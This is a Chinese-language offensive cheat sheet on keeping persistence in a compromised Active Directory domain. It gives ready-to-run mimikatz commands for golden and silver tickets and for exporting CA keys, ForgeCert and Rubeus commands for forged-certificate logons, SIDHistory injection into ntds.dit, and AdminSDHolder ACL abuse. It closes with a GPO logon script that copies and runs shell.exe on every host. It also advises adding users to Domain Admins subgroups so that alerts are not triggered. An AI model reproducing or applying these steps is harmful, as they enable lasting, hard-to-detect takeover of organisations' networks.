AD权限维持
通过凭证持久化
DC Sync后保存凭证
通过票据持久化
黄金票据
黄金票据就是伪造TGT。拥有特权帐户的有效 TGT,就可以为几乎任何我们想要的服务请求 TGS
特点
域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟(超过20分钟重新导票据就行了)。这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。
由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年
在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域
制作金票的条件:
1、域名称 Get-ADDomain
2、域的SID值 Get-ADDomain
3、域的KRBTGT账户密码HASH (dcsync导出)
4、伪造用户名,可以是任意的
mimikatz生成黄金票据:
kerberos::golden /admin:username /domain:domain /id:500 /sid:<Domain SID> /krbtgt:hash /ptt
/admin 我们要模拟的用户
/domain 域的FQDN
/id 用户rid 500为管理员
/sid 域的sid
/krbtgt krbtgt用户的NTLM Hash
/ptt 将票据直接注入到会话中
白银票据
白银票据就是伪造的TGS
特点
黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务
攻击者需要服务帐户密码哈希值
TGS是伪造的,所以没有和TGT通信,意味着未从DC验证过
任何事件日志都在目标服务器上,而不会出现在KDC上
kerberos::golden /admin:username /domain:domain /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
/admin 我们要模拟的用户
/domain 域的FQDN
/id 用户rid 500为管理员
/sid 要为其生成票证的域的 SID
/target 目标服务器的主机名
/rc4 目标计算机账户的NTLM Hash
/service:服务名称,这里需要访问共享文件,所以是cifs
/ptt 将票据直接注入到会话中
利用证书持久化
使用mimikatz查看DC上存储的证书:
crypto::certificates /systemstore:local_machine
可以看到密钥是不允许导出的,可以使用mimikatz patch内存让这些密钥变得可导出
crypto::capi
crypto::cng
然后就可以导出证书
crypto::certificates /systemstore:local_machine /export
导出的证书将以 PFX 和 DER 格式存储到磁盘
有了私钥和根证书后,可以使用ForgeCert为任意用户伪造客户端身份验证证书
ForgeCert.exe --CaCertPath xxx.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@xx.xx.xx.xx --NewCertPath newcert.pfx --NewCertPassword P@ssw0rd
CaCertPath 导出的CA证书的路径
CaCertPassword 用于加密证书的密码, mimikatz默认分配的为
mmikatz
Subject 证书的Subject name 随便取
SubjectAltName 要模拟的用户的UPN 必须为合法用户
NewCertPath 新生成的证书路径
NewCertPassword 加密证书的新密码
然后可以利用Rebeus使用新生成的证书请求TGT
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain: /dc:
/user 要模拟的用户,就是我们生成证书时填的UPN
/enctype 指定加密类型
/certificae 证书路径
/password 证书密码
/outfile TGT输出的文件
/domain 当前攻击的域的FQDN
/dc 请求TGT的域控ip(最好是运行CA服务的DC)
只有吊销根证书才能消除该影响,但吊销根证书会导致AD CS颁发的所有证书都失效
利用SIDHistory持久化
SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。其允许用户在迁移到新域时保留对原始域的访问权限。在新域中,用户将拥有新的 SID,但我们可以将用户现有的 SID 添加到 SID 历史记录中,这仍然允许他们使用新帐户访问先前域中的资源
只有域管才有权更改SIDHistory
查看用户的SIDHistory:
Get-ADUser <AD username> -properties sidhistory
可以使用mimikatz直接加
privilege::debug
sid::patch
sid::add /sam:<AD username> /new:administrator
但是最新版的mimikatz存在缺陷,不允许他patch lsass来更新sid history
可以使用DSInternals来patch ntds.dit
获取Domain Admins
组的SID
Get-ADGroup "Domain Admins"
> Stop-Service -Name ntds -force
> Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit
> Start-Service -Name ntds
NTDS 服务运行时,NTDS 数据库被锁定。为了修补我们的 SID 历史记录,我们必须首先停止该服务。补丁完成后必须重新启动NTDS服务,否则整个网络的认证将无法进行。
利用Group Member
字面意思,但是当新成员添加到Domain Admin组时,我们可能会触发警报,比较好的办法是将用户添加到Domain Admin下的子组
利用ACL
AdminSDHolder和SDProp
AdminSDHolder
AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护的AD账户和组的模板
Active Directory以AdminSDHolder对象的ACL作为模板并定期将其复制到所有受保护的AD账户和组(包括特权组),以防止意外和无意的修改并确保对这些对象的访问是安全的
https://learn.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)
SDProp
SDProp是一个进程,该进程每60分钟(默认)执行将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较。如果任何受保护帐户和组的权限与AdminSDHolder对象的权限不匹配,则将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配
如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法
打开mmc
勾上 Active Directory 用户和计算机并开启高级功能
再在view处勾上Advanced Features
并给他Full control
的权限
利用GPO
通过GPO可以设置登陆脚本
然后可以添加Logon scripts
添加批处理脚本的路径
copy \\xxx.xxx.xxx\sysvol\xxx.xxx.xxx\scripts\shell.exe C:\tmp\shell.exe && timeout /t 20 && C:\tmp\shell.exe